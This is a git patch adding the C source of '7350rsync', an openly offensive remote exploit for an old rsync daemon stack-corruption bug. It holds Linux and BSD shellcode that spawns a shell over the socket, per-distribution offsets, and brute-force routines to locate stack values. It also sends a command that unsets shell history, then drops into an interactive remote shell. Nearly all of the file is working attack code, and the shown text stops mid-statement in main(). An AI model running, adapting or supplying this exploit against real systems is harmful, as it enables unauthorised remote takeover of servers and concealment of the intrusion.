From c9cbeced5b3f2bdd7407e29c0811e65954132540 Mon Sep 17 00:00:00 2001 From: Root THC Date: Tue, 24 Feb 2026 12:42:47 +0000 Subject: initial --- exploits/7350rsync/7350rsync.c | 1256 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1256 insertions(+) create mode 100644 exploits/7350rsync/7350rsync.c (limited to 'exploits/7350rsync') diff --git a/exploits/7350rsync/7350rsync.c b/exploits/7350rsync/7350rsync.c new file mode 100644 index 0000000..8be5119 --- /dev/null +++ b/exploits/7350rsync/7350rsync.c @@ -0,0 +1,1256 @@ +/* 7350rack - x86/linux+others rsync remote exploit + * + * TESO CONFIDENTIAL - SOURCE MATERIALS + * + * This is unpublished proprietary source code of TESO Security. + * + * The contents of these coded instructions, statements and computer + * programs may not be disclosed to third parties, copied or duplicated in + * any form, in whole or in part, without the prior written permission of + * TESO Security. This includes especially the Bugtraq mailing list, the + * www.hack.co.za website and any public exploit archive. + * + * The distribution restrictions cover the entire file, including this + * header notice. (This means, you are not allowed to reproduce the header). + * + * (C) COPYRIGHT TESO Security, 2002 + * All Rights Reserved + * + * 20020120 + * - Added some offsets + * - alignment not needed anymore + * - auto search for module + * - auto search for MAXPATHLEN (the overflow-alert + * function helps us here :>) + * - auto search for %ebp distance + * + * Compile: + * gcc -o 7350rsync 7350rsync.c + * + * Greetings: ..are for wimps + * + * Based on the code of 'dieanderenase' :> + * someone@segfault.net + */ + +/* EXPLOIT INFORMATION: + * + * From a rsyncd.conf file: + * + * [ftp] + * gid = ftp + * use chroot = false + * transfer logging = true + * path=/home/ftp + * + * Following functions are involved: + * + * ... rsync_module() -> start_server() -> recv_exclude_list() [am_server=true] + * + * exclude.c:263 + * void recv_exclude_list(int f) + * { + * char line[MAXPATHLEN]; + * int l; + * while ((l=read_int(f))) { + * if (l >= MAXPATHLEN) overflow("recv_exclude_list"); + * read_sbuf(f,line,l); + * add_exclude(line,0); + * } + * } + * + * 'l' is signed and we may send negative values. Deeper it reads: + * + * void read_sbuf(int f,char *buf,int len) + * { + * read_buf(f,buf,len); + * buf[len] = 0; + * } + * + * Where read_buf() returns without doing anything. It does not call read(2) + * so it does not crash but writes a 0-byte to buf[len]. + * This is very similar to off-by-one, except we may also exploit big endian + * architecture. Stack is like: + * + * [ retaddr ] + * [ %ebp ] <- stackframe of recv_exclude_list + * [ line ] <- From here we may write 0's to stack + * [ l ] + * [ ... ] <- 3*4 bytes args to read_sbuf() + * [ retaddr ] + * [ %ebp ] <- stackframe in read_sbuf();, We try + * [ ... ] to overwrite LSB with line[-n]; + * and make it point into *line. + * + * We now need to modify the last saved %ebp. We will actually shrink it, + * that is 0xbfabcdef becomes 0xbfabcd00 since we write a 0 to the last + * 8 bits. As a result, when read_sbuf() returns the %ebp points + * somewhere into line-buf. Upon return of recv_exclude_list() %ebp + * will be moved into %esp and *boom*, it uses a retaddr which we placed + * into 'line' buffer. You just have to find the adress to return to + * (somewhere into 'line') and the distance of 'line[0]' to the saved %ebp. + * We overwrite the ebp of read_sbuf. + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* Who we are. + */ +const char *version_string = "@RSYNCD: 22\n"; + +/* + * some usefull defines + */ +#define TEST_x86_SC(ptr) (*(int(*)())ptr)() +#define ERREXIT(a...) do{fprintf(stderr, a);exit(-1);}while(0) +#define PERREXIT(a...) do{fprintf(stderr, a);perror(" ");exit(-1);}while(0) +#ifdef DEBUG +# define DEBUGF(a...) do{fprintf(stderr, "%s:%d ", __FILE__, __LINE__);fprintf(stderr, a);}while(0) +#else +# define DEBUGF(a...) +#endif + +#define CMD "unset HISTFILE;uname -a;w;\n" + +/* + * tcp-execve(/bin/sh) shellcode, 62 byte + 17 byte extra + * Works with inetd and direct tcp socket (if biggest). + * skyper / teso [thnx to lorian who made this 4 bytes shorter :>] + */ +char x86_lnx_tcpexec[] = + /* + * Findsocket shellcode. We start with fd = 0, next is 254 down + * to 1. This should work for inetd and normal daemons. + * 31 byte + */ + "\x6a\x01" /* push $0x01 # socket_t must be <16 */ + "\x5a" /* pop %edx # We set it to 0x01 */ + /* We use the same register (start with 1) to */ + /* count fd's from 0, 255..1 */ + "\x52" /* push %edx */ + "\x54" /* push %esp # socket_t * */ + "\x54" /* push %esp # struct sockaddr * */ + + "\x52" /* push %edx # store fd value on stack */ + /* The syscall modifes %edx but we must remember */ + "\x89\xe1" /* mov %esp, %ecx # syscall arg. is pointer */ + "\x6a\x07" /* push $0x07 # set %ebx to 0x07,needed */ + "\x5b" /* pop %ebx # for getpeername() sysc. */ + + "\x5a" /* pop %edx # decrement fd in loop */ + + "\x85\xd2" /* test %edx, %edx # if 0 then reset to 0xff */ + "\x75\x02" /* jne + 2 # This way we check fd 0 */ + "\xb2\xff" /* movb %0xff, %dl # first (if inetd) */ + + "\x4a" /* dec %edx # and put it back into */ + "\x52" /* push %edx # memory (we abuse stack) */ + + "\x6a\x66" /* push $0x66 # sycall nr. into %eax */ + "\x58" /* pop %eax */ + "\xcd\x80" /* int $0x80 # syscall! */ + "\x85\xc0" /* test %eax, %eax # check return value */ + "\x75\xeb" /* jne <-21> # repeat if failed */ + "\x5b" /* pop %ebx # store net. fd in %ebx */ + + /* We assume the syscall succeeded and %eax is 0x00 */ + + /* + * dub2(2..0, fd) shellcode. + * assumed fd is in %ebx and %eax is 0x00. + * 10 bytes + */ + "\x6a\x02" /* push $0x02 # dup from fd=2..0 */ + "\x59" /* pop $ecx */ + "\xb0\x3f" /* movb $0x3f, %al # syscall nr. for dup() */ + "\xcd\x80" /* int $0x80 */ + "\x49" /* dec %ecx */ + "\x79\xf9" /* jns -7 */ + + /* We assume that the syscall succeeded and %eax is 0x00 */ + + /* + * normal execve(/bin/sh) shellcode. %eax MUST be 0! + * 21 bytes. + * attention: To make this shellcode 0-free push %eax and use + * "//bin/sh" instead of "/bin/sh\0". + */ + "\x68""/sh\0" /* pushl $0x0068732f # put "/bin/sh\0" on stack */ + "\x68""/bin" /* pushl $0x6e69622f */ + "\x89\xe3" /* movl %esp, %ebx # %ebx holds name[0] */ + /* # first arguement to execve() suscall */ + "\x50" /* pushl %eax # ptr to NULL on stack */ + "\x53" /* pushl %ebx # &name[0] on stack */ + "\x89\xe1" /* %movl %esp, %ecx # ptr to &name[0] in %ecx */ + /* # 2nd arg. to execve() */ + "\x99" /* set %edx to $0x0, 3rd arg. to execve() */ + "\xb0\x0b" /* movb $0x0b, %al # syscall nr. for execve() */ + "\xcd\x80" /* int $0x80 # linux syscall intr. */ + + /* + * EXTRA, not needed. We output "CHR\n" if execve failed. + * This means we are chrooted and may upload an egg. + * 17b + */ + "\x6a\x04" /* push $0x04 # number of write syscall */ + "\x58" /* pop %eax # saved in %eax */ + "\x6a\x01" /* push $0x01 # fd=1, we dup2'ed it! */ + "\x5b" /* pop %ebx */ + "\x68""CHR\n" /* push $0xa524843 # Our string we output */ + "\x89\xe1" /* mov %esp, %ecx # pointer to "CHR\n" */ + "\x89\xc2" /* mov %eax, %edx # we write 4 byte to fd=1 */ + "\xcd\x80" /* int $0x80 */ + ; + + +/* + * *BSD findsocket/dup/execve(/bin/sh) shellcode. 58 bytes + EXTRA + * Good parts ripped from LSD shellcode, this one is smaller. + * skyper / teso + */ +char x86_bsd_tcpexec[] = + /* + * sycall parameters are passed on the stack, last argument + * is pushed first. ESP points to the last _used_ element + * on the stack. + */ + + /* + * findsocket shellcode + * 26 bytes + * Stackabuse: 12bytes (peak=20bytes) + * (this means we must have +rw on %esp-20, which is + * true for rsync) + */ + "\x6a\x01" /* push $0x01 # socklen_t */ + "\x54" /* push %esp # ptr to our 0x01 */ + "\x54" /* push %esp # storage for &addr */ + "\x31\xc9" /* xorl %ecx, %ecx */ + + "\xb1\x01" /* movb $0x01, %cl */ + + + "\x49" /* dec %ecx */ + "\x79\x03" /* jns +3 # jump if not signed */ + "\x41" /* inc %ecx # ecx:=0, before == -1 */ + "\xb1\xff" /* movb $0xff, %cl */ + + + "\x51" /* pushl %ecx # fd for getpeername() */ + "\x6a\x1f" /* push $0x1f */ + "\x58" /* pop %eax */ + "\x51" /* pushl %ecx */ + "\xcd\x80" /* int $0x80 */ + "\x59" /* pop %ecx */ + "\x59" /* pop %ecx # until we have our fd */ + "\x85\xc0" /* test %eax, %eax */ + "\x75\xed" /* jne -nn */ + "\x89\xcb" /* mov %ecx,%ebx */ + + /* We assume fd in %ebx */ + /* We assume %eax&0xffffff00 == 0 */ + + /* + * ok, we can use above shellcode as stack if we are + * somewhere near the page border (just in case). + * Let's say, 24bytes ought to be enough for everyone + */ + "\x83\xc4\x18" /* add $0x18, %esp # fix stackabuse */ + + /* + * dup fd starting from fd down to 0 with fd itsself. + * 15 bytes + * Stackabuse: 12bytes + */ + "\xb1\x02" /* movb $0x02, %cl */ + "\x51" /* pushl %ecx */ + "\x53" /* pushl %ebx */ + "\x50" /* pushl %eax */ + "\xb0\x5a" /* movb $0x5a, %al */ + "\xcd\x80" /* int $0x80 */ + "\x49" /* dec %ecx */ + "\x79\xf6" /* jns -10 # jump not signed */ + + "\x83\xc4\x0c" /* add $0x0c, %esp # fix stackabuse */ + /* + * execve(/bin/sh\0) shellcode. + * Requirement %eax&0xffffff00 = 0 + * 20 bytes + * Stackabuse: 16bytes + */ + "\x68""/sh\0" + "\x68""/bin" + "\x89\xe3" /* mov %esp,%ebx */ + "\x50" /* pushl %eax */ + "\x54" /* pushl %esp */ + "\x53" /* pushl %ebx */ + "\x50" /* pushl %eax */ + "\xb0\x3b" /* movb $0x3b, %al */ + "\xcd\x80" /* int $0x80 */ + + "\x83\xc4\x10" /* add $0x10, %esp # fix stackabuse */ + /* + * EXTRA to detect failed execve(), output CHR\n + * 17 bytes + * Stackabuse: 20bytes + */ + "\x68""CHR\n" /* pushl CHR\n */ + "\x89\xe3" /* mov %esp, %ebx */ + "\x6a\x04" /* push $0x04 */ + "\x58" /* pop %eax */ + "\x50" /* pushl %eax */ + "\x53" /* pushl %ebx */ + "\x6a\x01" /* push %0x01 # stdout */ + "\x50" /* pushl %eax */ + "\xcd\x80" /* guess... */ + ; + + +typedef struct { + char *dist; + char *package; + unsigned char *code; + int codesz; + + int maxpath; /* value of PATH_MAX-1 on target system */ + int ebp_dist; /* distance of saved %ebp to line[] */ + int b_start; /* startaddress for bruteforce */ + int b_end; /* endaddress for bruteforce */ +} tgt_type; + +tgt_type targets[] = { + { "SuSE-7.1", "rsync-2.4.6 protocol 24", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec),4095, -48, 0xbfffffcc, 0xbfff0000}, + { "SuSE-7.3", "rsync-2.4.6-153", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 4095, -48, 0xbfffffcc, 0xbfff0000}, + { "Suse 4.4", "rsync-2.2.1", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 4095, -7, 0xbfffffcc, 0xbfff0000}, + { "Mandrake 8.1", "rsync-2.4.6 protocol 24", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 4095, -40, 0xbfffffcc, 0xbfff0000}, + { "RH 6.2 (Zoot)", "rsync-2.4.1 protocol 24", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 4095, -32, 0xbfffffcc, 0xbfff0000}, + { "FreeBSD-4.3 x86", "rsync-2.4.6-2", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 1024, -48, 0xbfbfffff, 0xbfbf0000}, + { "TheoBSD-2.9 x86", "rsync version 2.4.6 protocol 24", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 1024, -48, 0xdfbfd3dc, 0xdfbf0000}, + { "NetBSD x86 generic", "rsync", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 0, 0, 0xbfbfd600, 0xbfb00000}, + { "FreeBSD x86 genwric", "rsync", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 0, 0, 0xbfbfd600, 0xbfb00000}, + { "TheoBSD x86 genwric", "rsync", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 0, 0, 0xdfbfd600, 0xdfb00000}, + { "Linux x86 generic", "rsync", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 0, 0, 0xbffffffc, 0xbff00000}, + { NULL, NULL, NULL, 0, 0, 0, 0} +}; + +char debug; +int timeout = 4; +int write_sec(int fd, char *buf, int len); + + +void +show_targets(void) +{ + int i; + + for (i = 0; targets[i].dist; ++i) + printf("%d: %s %s\n", i+1, targets[i].dist, targets[i].package); + + return; +} + + +void +die(const char *s) +{ + perror(s); + exit(errno); +} + + +void +usage(void) +{ + printf("7350rsync - remote rsync vulnerability v0.4g\n"); + printf("usage: 7350rack [-hld] <-T sec> <-D num> <-P num> <-m module> <-t target>\n\thost\n\n"); + + printf("" + "-d debug mode\n" + "-h his help\n" + "-p port Portnumber (default = 873)" + "-T sec timeout valie (default = %d)\n" + "-P num assume MAXPATHLEN = num (0 = AUTO)\n" + "-D num &line[0] - ebp distance (0 = AUTO)\n" + "-m name use this module\n" + "-t num choose target (0 for list\n" + "$ ./7350rack -D 0 -T 0 127.0.0.1 # check if vulnerable\n" + "$ ./7350rack -t 4 127.0.0.1 # exploit target\n" + "$ ./7350rack -t 1 -D 0 -P 0 127.0.0.1 # brute exploit\n" + , timeout); + + exit(1); +} + + +/* Simple tcp_connect(). Disables Nagle. + * ip and port are already in NBO. + */ +int +tcp_connect(unsigned long ip, u_short port) +{ + int sock, one = 1, len = sizeof(one); + struct sockaddr_in sin; + + if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) + die("sock"); + + memset(&sin, 0, sizeof(sin)); + sin.sin_addr.s_addr = ip; + sin.sin_family = AF_INET; + sin.sin_port = port; + + if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) + return -1; + + if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0) + die("setsockopt"); + + return sock; +} + + + +/* + * Read input until \n or eof + * The \n is not stored in the buffer! + * The buffer is always \0 terminated. + */ +int +readln(int fd, char *buf, size_t size) +{ + int i = 0; + char c; + + if (size == 0) + return 0; + + while (i < size - 1) + { + if (read(fd, &c, 1) != 1) + { + if (i == 0) + return -1; + break; + } + if (c == '\n') + break; + buf[i++] = c; + } + + buf[i] = '\0'; + + return i; +} + +/* Find a valid module we can use. + * Version for later extensions. + * Return the first module in the list. + */ +char* +rsync_find_module(int fd) +{ + char rcv_buf[8192]; + char *ptr; + char *module = NULL; + + /* + * Version banner. + */ + readln(fd, rcv_buf, sizeof(rcv_buf)); + write(fd, version_string, strlen(version_string)); + write(fd, "#list\n", 6); + + while(readln(fd, rcv_buf, sizeof(rcv_buf)) >= 0) + { + printf("%s\n", rcv_buf); + + /* Module must start with [A-Za-z] */ + if ((rcv_buf[0] > 'z') || (rcv_buf[0] < 'A')) + continue; + if ((rcv_buf[0] < 'a') && (rcv_buf[0] > 'Z')) + continue; + + if ( (ptr = strchr(rcv_buf, ' ')) != NULL) + { + if (strstr(rcv_buf, " ") == NULL) + continue; + *ptr = '\0'; + } else { + if (strlen(rcv_buf) > 16) + continue; + } + + if (module == NULL) + { + module = calloc(1, 32); + snprintf(module, 32, "%s", rcv_buf); + } + } + + return module; +} + +int +read_int(int fd, char *buf) +{ + char left = 0; + int ret; + + while (left < 4) + { + ret = read(fd, buf+left, 4-left); + if (ret <= 0) + return -1; + left += ret; + } + return left; +} + +int +rsync_handshake(int peer, char *mod) +{ + char buf[8192] = ""; + + /* + * Read in banner... + */ + while (readln(peer, buf, sizeof(buf)) >= 0) + if (buf[0] == '@') + break; + + snprintf(buf, sizeof(buf), "@RSYNCD: 24\n%s\n--server\n--daemon\n--sender\n\n", mod); + write(peer, buf, strlen(buf)); + /* Wait until all the MOTD crap has arrived */ + + while(readln(peer, buf, sizeof(buf)) >= 0) + if (buf[0] == '@') + break; + + if (strncmp(buf, "@RSYNCD:", 8) != 0) + { + printf("FAILED: %s\n", buf); + return -1; + } + /* read integer value (whatever it is */ + if (read_int(peer, buf) != 4) + return -1; + + return 0; +} + +/* + * Establish tcp connection and wait until we have a clean line + * Return connection/handshaked fd. + */ +int +tcp_rsync_handshake(unsigned long ip, unsigned short port, char *mod) +{ + int peer; + + if ( (peer = tcp_connect(ip, port)) < 0) + die("tcp_connect"); + + while(rsync_handshake(peer, mod) != 0) + { + shutdown(peer, 2); + close(peer); + sleep(5); + peer = tcp_connect(ip, port); + } + + return peer; +} + + +/* + * Brainstorming idea by stealth, thnx. + * + * find the distance between line[0] and ebp. + * We could calculate this: + * in recv_exclude_list() local variable 'int l' (+4 bytes), + * 3*4 parameters to read_sbuf (+12 bytes), the saved return + * address (+4 bytes) * and the least significant byte of + * ebp (+3 byte) and +1 byte from line[0]. + * Makes: 4+12+4+3+1 = 24 bytes. + * Well, this works if you compile rsync on ur own + * without any funky compiling options. Distributions + * use 'non-default' options, cache-alingment, ... + */ +#define START_DIST (-17) +int +rsync_find_distance(unsigned long ip, unsigned short port, char *mod) +{ + int peer; + long l; + char buf[512]; + int ret; + fd_set rfds; + struct timeval tv; + char *ptr; + + printf("[0x000] checking distance &line[0] -> sfp, linear, 4B steps\n"); + if ( (peer = tcp_rsync_handshake(ip, port, mod)) <= 0) + die("tcp_rsync_handshake"); + + /* + * We dec. by 4 until we overwrite the MSB of saved ret. + * We can step by 4 bytes because saved ret is aligned to + * a 4 byte boundary on the stack. + */ + for (l = START_DIST; l > -255; l -=4) + { + + write(0, ".", 1); + write(peer, &l, sizeof(l)); + +restart: + FD_ZERO(&rfds); + FD_SET(peer, &rfds); + tv.tv_sec = timeout; + if (l == -255) + tv.tv_sec += 4; /* Wait at least 4 seconds on last packet */ + tv.tv_usec = 1000*100; /* +100ms at least, if timeout == */ + ret = select(peer + 1, &rfds, NULL, NULL, &tv); + if (ret == -1) + die("select"); + + /* Timeout */ + if (ret == 0) + continue; + + if (!FD_ISSET(peer, &rfds)) + goto restart; + + ret = read(peer, buf, sizeof(buf)); + /* read error means peer closed connection...segfault */ + if (ret <= 0) + break; + + write_sec(0, buf, ret); + ptr = memchr(buf, 'E', ret); + if ( (ptr != NULL) && (strncmp(ptr, "ERROR:", 6) == 0)) + { + printf("BUG FIXED. OH NO!\n"); + return 0; + } + /* + * If we are here we received garbage :/ + * FIXME: if somethign to read, discard it. read crap/motd/blah + */ + } + + if (l == -255) + die("not vulnerable?\n"); + + /* + * We segfault if we hit the saved return addr of read_sbuf(). + * The sfp is 7 bytes from here (3 byte more ret, 4 bytes sfp + * until we hit LSB of sfp + */ + if (l == START_DIST) + printf("peer died after FIRST wrong value, fixed?\n"); + else + printf("\nFOUND (vulnerable) -> it's %li\n", l - 7); + + l -= 7; + shutdown(peer, 2); + close(peer); + + return l; +} + + +/* + * calculate next pivot element between + * left..right but near 2^n-1. + */ +int +calc_pivot(int left, int right) +{ + unsigned long bitmask = -1; + int maxpath = left + (right - left)/2; + + while (bitmask & maxpath) + bitmask <<= 0x01; + /* this value is a little bit smaller than maxpath */ + if (left < (maxpath & (bitmask >> 1)) - 1) + return (maxpath & (bitmask >> 1)) - 1; + + /* + * There is no 2^n value between left ... maxpath. + * Lets find one between maxpath ... right + */ + if (right > (bitmask ^ (bitmask << 1)) - 1) + return (bitmask ^ (bitmask << 1)) - 1; + + return maxpath; +} + +/* + * TEST function to verify if calc_pivot + * works correctly. + */ +void +train_pivot(int hit, int left, int right) +{ + int pivot; + + printf("searching for %d in %d..%d\n", hit, left, right); + while((hit != left) && (hit != right)) + { + pivot = calc_pivot(left, right); + printf("pivot: %d\n", pivot); + if (pivot > hit) + right = pivot; + else + left = pivot; + } +} + +/* + * Return MAXPATHLEN-1 of the remote + */ +#define MAX_RIGHT (8192*2) +int +rsync_find_maxpathlen(unsigned long ip, unsigned short port, char *mod) +{ + int maxpath = 4096 - 1; + int try = maxpath; + char buf[512] = ""; + int peer; + int ret; + fd_set rfds; + struct timeval tv; + int count = 0; + int left = 0, right = MAX_RIGHT; + char dummy[right]; + + + memset(dummy, 0x73, sizeof(dummy)); + + printf("[0x%3.3x] checking whether MAXPATHLEN is %d... ", ++count, try + 1); + peer = tcp_rsync_handshake(ip, port, mod); + write(peer, &try, sizeof(try)); + + /* + * Wait 4 seconds if remote closed connection or assume + * that maxpathlen was not large enough. + */ + while(right - left > 1) + { + FD_ZERO(&rfds); + FD_SET(peer, &rfds); + tv.tv_sec = timeout; + + ret = select(peer + 1, &rfds, NULL, NULL, &tv); + if (ret == -1) + die("select"); + + /* + * Timeout, fd is still open, lets reuse.. + */ + if (ret == 0) + { + /* + * We have an exact match. + */ + if (try+1 == maxpath) + break; + + printf("it's bigger\n"); + /* + * 4k is big enough.. + */ + if (try >= MAX_RIGHT) + break; + write(peer, dummy, try); + left = try; + /* + * We failed with maxpath, but succeeded with try. + */ + if (try < maxpath) + break; + + maxpath = calc_pivot(left, right); + try = maxpath; + + /* + * We run out of right border, must be very bif + */ + if (try > right) + break; + + printf("[0x%3.3x] checking whether MAXPATHLEN is %d... ", ++count, try + 1); + write(peer, &try, sizeof(try)); + + continue; + } + + /* + * Sometine ready for reading. Can be read-error + * or real data. + */ + if (!FD_ISSET(peer, &rfds)) + continue; + /* + * As long as there is really legit data + * empty the buffer. + * We also read here + * "ERROR: buffer overflow in recv_exclude_list\n" + * but ignore it and wait until read returns <0. + * (2BC) + */ + if ( (ret = read(peer, buf, sizeof(buf))) > 0) + continue; + + /* + * Stop if we nearly have the distance. +-8 doesnt matter. + */ + if (try <= left+8) + { + printf("This is near enough.\n"); + try = left; + break; + } + /* read returned 0 or -1 (e.g. remote closed connection) */ + printf("it's smaller\n"); + right = try; + /* reestablish connection/handshake */ + shutdown(peer, 2); + close(peer); + peer = tcp_rsync_handshake(ip, port, mod); + + /* + * Most unix have MAXPATHLEN defined as x^n - 1, + * check for this (this speeds up the searc). + * We substituate 2 because rsync checks for >= MAXPATHLEN. + */ + if (maxpath == try) + { + try--; + } else { + maxpath = calc_pivot(left, right); + try = maxpath; + } + + printf("[0x%3.3x] checking whether MAXPATHLEN is %d... ", ++count, try + 1); + write(peer, &try, sizeof(try)); + + } /* eo while(1) */ + + shutdown(peer, 2); + close(peer); + printf("Will use %d!\n", try + 1); + + return try+1; +} + + +/* + * Return 0 on timeout, -1 on read error or EOF + */ +int +read_t(int fd, char *buf, unsigned int size, int sec) +{ + fd_set rfds; + int ret; + struct timeval tv; + + while(1) + { + FD_ZERO(&rfds); + FD_SET(fd, &rfds); + tv.tv_sec = sec; + + /* + * Return 0 on timeout. + */ + if ( (ret = select(fd + 1, &rfds, NULL, NULL, &tv)) == 0) + return 0; + + if (ret < 0) + { + if (errno != EINTR) + return -1; + continue; + } + + if (!FD_ISSET(fd, &rfds)) + continue; + + ret = read(fd, buf, size); + if (ret == 0) + return -1; + + /* ret is -1 or a valid len */ + break; + } + + return ret; +} + +/* + * secure otuput. bahah. this is super slow :> + */ +int +write_sec(int fd, char *buf, int len) +{ + char b2[len]; + int i; + + for (i = 0; i < len; i++) + if (isprint(buf[i])) + b2[i] = buf[i]; + else + b2[i] = '.'; + + return write(fd, b2, len); +} + +/* Construct and send the evil packets. + * Return socket descriptor to remote shell or -1 + * if not able to exploit. + */ +int rsync_exploit(unsigned long ip, u_short port, char *mod, int version, int ti) +{ + int l = 0, j = 0, dec; + char buf[5000]; + unsigned int *ret, i; + int fd; + int fakeframe; /* where fakeframe starts from buf[0] */ + int count = 0; + + printf("Using %s (%s), dist: %d\n", targets[ti].dist, targets[ti].package, targets[ti].ebp_dist); + + /* + * fakeframe is the distance between buf and the start of the first + * fake frames + */ + fakeframe = (targets[ti].maxpath-1-248)&~3; + /* see below why 62 fake stackframes are enough */ + /* -1 because rsync checks for >= and noth just > */ + + /* + * When bruteforcing we may decrement retaddr by nopspace. + */ + dec = fakeframe - targets[ti].codesz - 8; + /* + * - 8 bytes free: saved return address and ebp are the same + * after we returned from read_sbuf (read above: each fake + * stack frame is just 32bit in size). This means + * ebp in recv_exclude_list points also somewhere in the nops + * and in the worst case at the first nop. recv_exclude_list + * needs 8 byte of local variables. + */ + + + for (i = targets[ti].b_start; i >= targets[ti].b_end; i -= dec) { + fd = tcp_rsync_handshake(ip, port, mod); + + if (fd < 0) + die("connect"); + + if (debug) + { + fprintf(stderr, "DEBUG: connected, press enter\n"); + fgets(buf, sizeof(buf), stdin); + } + + /* + * The fake frame must be aligned to a 4 byte bundary. + * We create it aligned in the exploit and it WILL be + * aligned on the target (because line[] in recv_exclude_list + * is also aligned to 4 byte + * Our exploit buffer looks like this: + * + * - pad is between 0..3 so that all fake frames are + * aligned to 4 bytes. + * - 64 times a fake frame each 1 byte in size (just the + * return address to our shellcode). + * Each stack frame overlaps it's saved return (fake) with + * the previous fake stack frame. The ebp we are going + * to overwrite will point exactly to one of these frames. (and + * will use this value as new ebp and the one before as saved + * return address). + * - shellcode & nop's are obvious! + */ + /* shellcode with NOPs */ + memset(buf, 0, sizeof(buf)); + memset(buf, 0x90, targets[ti].maxpath-1); + memcpy(&buf[fakeframe - targets[ti].codesz], + targets[ti].code, + targets[ti].codesz); + + printf("[0x%3.3x] checking whether the shellcode is at 0x%8.8x->+0x%x... ", ++count, i, dec); + /* Write return-adresses 256/4 times (0xff set to 0 + * makes at most around 256 byte that %ebp can + * shrink */ + ret = (unsigned int*)&buf[fakeframe]; + + /* + * Lets put 62 overlapping fake frames into our buffer. + * Why not 64? The worst case would be when saved ebp in + * read_sbuf already points to 0xbfffnn.nn00. We would + * not change anything. If it would point to + * 0xbfffnn.nn04 we could make the saved ebp in read_sbuf + * point to the last fake stackframe in len. The saved + * return would be stored at saved ebp+4, which we do + * not control. Makes 2 less stackframes. Probably + * one more because MAXPATHLEN % 4 != 0 and we have + * some (<4) padding bytes on the stack. + */ + + for (j = 0; j < 248/4; ++j) + ret[j] = i; + + /* + * Tell remote how many bytes we are about to write + * and write fake ebp+shellcode+nop buffer. + */ + l = targets[ti].maxpath-1; + write(fd, &l, sizeof(l)); + write(fd, buf, l); + + l = targets[ti].ebp_dist; + write(fd, &l, sizeof(l)); + l = 0; + write(fd, &l, sizeof(l)); + /* send unset HISTFILE;uname -a;w; */ + write(fd, CMD, sizeof(CMD)); + + /* + * Either remote closed (read = 0) or we get the uname -a + * output here. + */ + memset(buf, 0, sizeof(buf)); + if ( (l = read_t(fd, buf, sizeof(buf)-1, debug?10000:timeout*2)) <= 0) + { + printf("no\n"); + if (l == 0) + printf("TIMEOUT, wrong ebp value?\n"); + shutdown(fd, 2); + close(fd); + continue; + } + + /* + * On error rsync send 4 bytes value + error string. + * The second byte of error is usually 0. + */ + if ((buf[1] == 0) || (strncmp(buf+4, "push_dir", 8) == 0)) + { + write_sec(0, buf+4, l); + printf("Oops, Garbage received, try -D, distance?\n"); + close(fd); + continue; + } + + printf("\n--- EXPLOITED ---\n"CMD); + write_sec(0, buf, l); + + if (strncmp(buf, "CHR\n", 4) == 0) + { + printf("The exploit code found out that rsync runs chrooted.\n" + "Use the upload/exec shellcode for chrooted\n" + "environments as we did in 7350djb.\n"); + + return -1; + } + + return fd; + } + + return -1; +} + + +void +shell(int sock) +{ + int l; + char buf[512]; + fd_set rfds; + + while (1) { + FD_ZERO(&rfds); + FD_SET(0, &rfds); + FD_SET(sock, &rfds); + + select(sock + 1, &rfds, NULL, NULL, NULL); + if (FD_ISSET (0, &rfds)) { + l = read(0, buf, sizeof buf); + if (l <= 0) + die("shell()::read"); + write(sock, buf, l); + } + if (FD_ISSET (sock, &rfds)) { + l = read(sock, buf, sizeof (buf)); + if (l == 0) { + printf("Connection closed by foreign host.\n"); + exit(EXIT_FAILURE); + } else if (l < 0) + die("read remote"); + write(1, buf, l); + } + } +} + +/* + * lame host resolver function + */ +unsigned long +host_resolve(char *host) +{ + unsigned long ip; + struct hostent *he; + + if ( (ip = inet_addr(host)) != -1) + return ip; + + if ( (he = gethostbyname(host)) == NULL) + return -1; + + if (he->h_length != sizeof(ip)) + return -1; + + return *(unsigned long *)he->h_addr; +} + + +/* + * + */ +int +main(int argc, char **argv) +{ + int remote_version = 22; + int peer = 0, c; + char *mod = NULL; + int target_n = -1, s; + u_short port = htons(873); + int maxpath = -1; + unsigned long ip = 0; + int distance = -1; + + //TEST_x86_SC(x86_jump); + + setbuffer(stdout, NULL, 0); + printf("7350rsync -- remote rsync exploit, anonymous@segfault.net & die andere nase\n\n"); + + while ((c = getopt(argc, argv, "dT:D:P:m:t:p:")) != -1) { + switch (c) { + case 'd': + debug = 1; + break; + case 'T': + timeout = atoi(optarg); + break; + case 'P': + maxpath = atoi(optarg); + break; + case 'D': + distance = atoi(optarg); + if (distance > 0) + { + printf("You meant -%d, right?\n", distance); + distance = 0 - distance; + } + break; + case 'm': + mod = strdup(optarg); + break; + case 't': + target_n = atoi(optarg); + break; + case 'p': + port = htons(atoi(optarg)); + break; + default: + usage(); + break; + } + } + + /* + * Show target list + */ + if (target_n == 0) { + show_targets(); + exit(0); + } + + /* + * get target hostname/ip + */ + if (optind >= argc) + usage(); + + if ( (ip = host_resolve(argv[optind])) == -1) + ERREXIT("Unable to resolve hostname.\n"); + /* + * Fetch modules from the remote + */ + if (mod == NULL) { + printf("[0x000] checking for modules (use last found!)... \n"); + peer = tcp_connect(ip, port); + mod = rsync_find_module(peer); + shutdown(peer, 2); + close(peer); + if (mod == NULL) + die("can't find module, try rsync ip::"); + } + + printf("MODULE : \"%s\"\n", mod); + + if (target_n != -1) + { + if (maxpath == -1) + maxpath = targets[target_n - 1].maxpath; + if (distance == -1) + distance = targets[target_n - 1].ebp_dist; + } + + if (maxpath == 0) + maxpath = rsync_find_maxpathlen(ip, port, mod); + + if (distance == 0) + distance = rsync_find_distance(ip, port, 